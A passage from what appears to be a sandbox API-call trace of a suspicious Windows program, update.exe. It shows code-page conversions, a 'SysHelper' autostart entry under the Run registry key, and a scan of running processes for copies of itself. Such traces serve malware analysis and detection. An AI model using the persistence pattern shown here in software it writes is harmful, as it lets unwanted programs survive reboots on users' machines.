¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0125.966] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f328, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0125.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fb04, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x56\x37\xe9\x81\x40\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0125.966] GetLastError () returned 0x0 [0125.966] SetLastError (dwErrCode=0x0) [0125.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0125.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f558, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0125.966] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0125.966] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18f348, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0125.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fa04, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x56\x37\xe9\x81\x40\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0125.966] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0125.966] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x41c0db) returned 0x40972f [0125.968] GetCurrentProcess () returned 0xffffffff [0125.968] GetLastError () returned 0x0 [0125.968] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0125.968] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x189f9c | out: phkResult=0x189f9c*=0xbc) returned 0x0 [0125.968] RegQueryValueExW (in: hKey=0xbc, lpValueName="SysHelper", lpReserved=0x0, lpType=0x189f90, lpData=0x18b070, lpcbData=0x189fb8*=0x400 | out: lpType=0x189f90*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart", lpcbData=0x189fb8*=0xd4) returned 0x0 [0125.969] RegCloseKey (hKey=0xbc) returned 0x0 [0125.969] lstrlenA (lpString="\" --AutoStart") returned 13 [0125.969] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned 1 [0125.969] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0125.969] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", pNumArgs=0x18d0d0 | out: pNumArgs=0x18d0d0) returned 0x5fd578*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0125.969] lstrcpyW (in: lpString1=0x18f598, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0125.970] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0125.970] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", pNumArgs=0x18d064 | out: pNumArgs=0x18d064) returned 0x5fd578*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0125.970] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="update.exe" [0125.970] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x773e0000 [0125.970] GetProcAddress (hModule=0x773e0000, lpProcName="EnumProcesses") returned 0x0 [0125.970] GetProcAddress (hModule=0x773e0000, lpProcName="EnumProcessModules") returned 0x0 [0125.970] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleBaseNameW") returned 0x0 [0125.970] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x770c0000 [0125.971] GetProcAddress (hModule=0x770c0000, lpProcName="EnumProcesses") returned 0x770c1544 [0125.971] GetProcAddress (hModule=0x770c0000, lpProcName="EnumProcessModules") returned 0x770c1408 [0125.971] GetProcAddress (hModule=0x770c0000, lpProcName="GetModuleBaseNameW") returned 0x770c152c [0125.971] EnumProcesses (in: lpidProcess=0x182860, cb=0xa000, lpcbNeeded=0x18d070 | out: lpidProcess=0x182860, lpcbNeeded=0x18d070) returned 1 [0125.972] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0125.973] CloseHandle (hObject=0x0) returned 0 [0125.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0125.973] CloseHandle (hObject=0x0) returned 0 [0125.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0125.973] CloseHandle (hObject=0x0) returned 0 [0125.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0125.973] CloseHandle (hObject=0x0) returned 0 [0125.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0125.973] CloseHandle (hObject=0x0) returned 0 [0125.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0125.973] CloseHandle (hObject=0x0) returned 0 [0125.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0125.973] CloseHandle (hObject=0x0) returned 0 [0125.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0125.973] CloseHandle (hObject=0x0) returned 0 [0125.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x0 [0125.973] CloseHandle (hObject=0x0) returned 0 [0125.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0x0 [0125.973] CloseHandle (hObject=0x0) returned 0 [0125.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0125.973] CloseHandle (hObject=0x0) returned 0 [0125.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0125.973] CloseHandle (hObject=0x0) returned 0 [0125.974] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0125.974] CloseHandle (hObject=0x0) returned 0 [0125.974] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x33c) returned 0x0 [0125.974] CloseHandle (hObject=0x0) returned 0 [0125.974] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x374) returned 0x0 [0125.974] CloseHandle (hObject=0x0) returned 0 [0125.974] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b0) returned 0x0 [0125.974] CloseHandle (hObject=0x0) returned 0 [0125.974] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x0 [0125.974] CloseHandle (hObject=0x0) returned 0 [0125.974] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x30c) returned 0xbc [0125.974] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0125.974] CloseHandle (hObject=0xbc) returned 1 [0125.974] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0xbc [0125.974] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0125.974] CloseHandle (hObject=0xbc) returned 1 [0125.974] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x414) returned 0xbc [0125.974] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0125.974] CloseHandle (hObject=0xbc) returned 1 [0125.974] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x0 [0125.974] CloseHandle (hObject=0x0) returned 0 [0125.975] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x500) returned 0x0 [0125.975] CloseHandle (hObject=0x0) returned 0 [0125.975] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x53c) returned 0xbc [0125.975] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0125.975] CloseHandle (hObject=0xbc) returned 1 [0125.975] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x54c) returned 0x0 [0125.975] CloseHandle (hObject=0x0) returned 0 [0125.975] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x570) returned 0xbc [0125.975] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0125.976] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0125.976] CloseHandle (hObject=0xbc) returned 1 [0125.976] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0125.976] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0125.978] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0125.979] CloseHandle (hObject=0xbc) returned 1 [0125.979] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0125.979] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0125.980] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0125.981] CloseHandle (hObject=0xbc) returned 1 [0125.981] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7ac) returned 0xbc [0125.981] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0125.982] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0125.983] CloseHandle (hObject=0xbc) returned 1 [0125.983] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x494) returned 0xbc [0125.983] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0125.983] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: 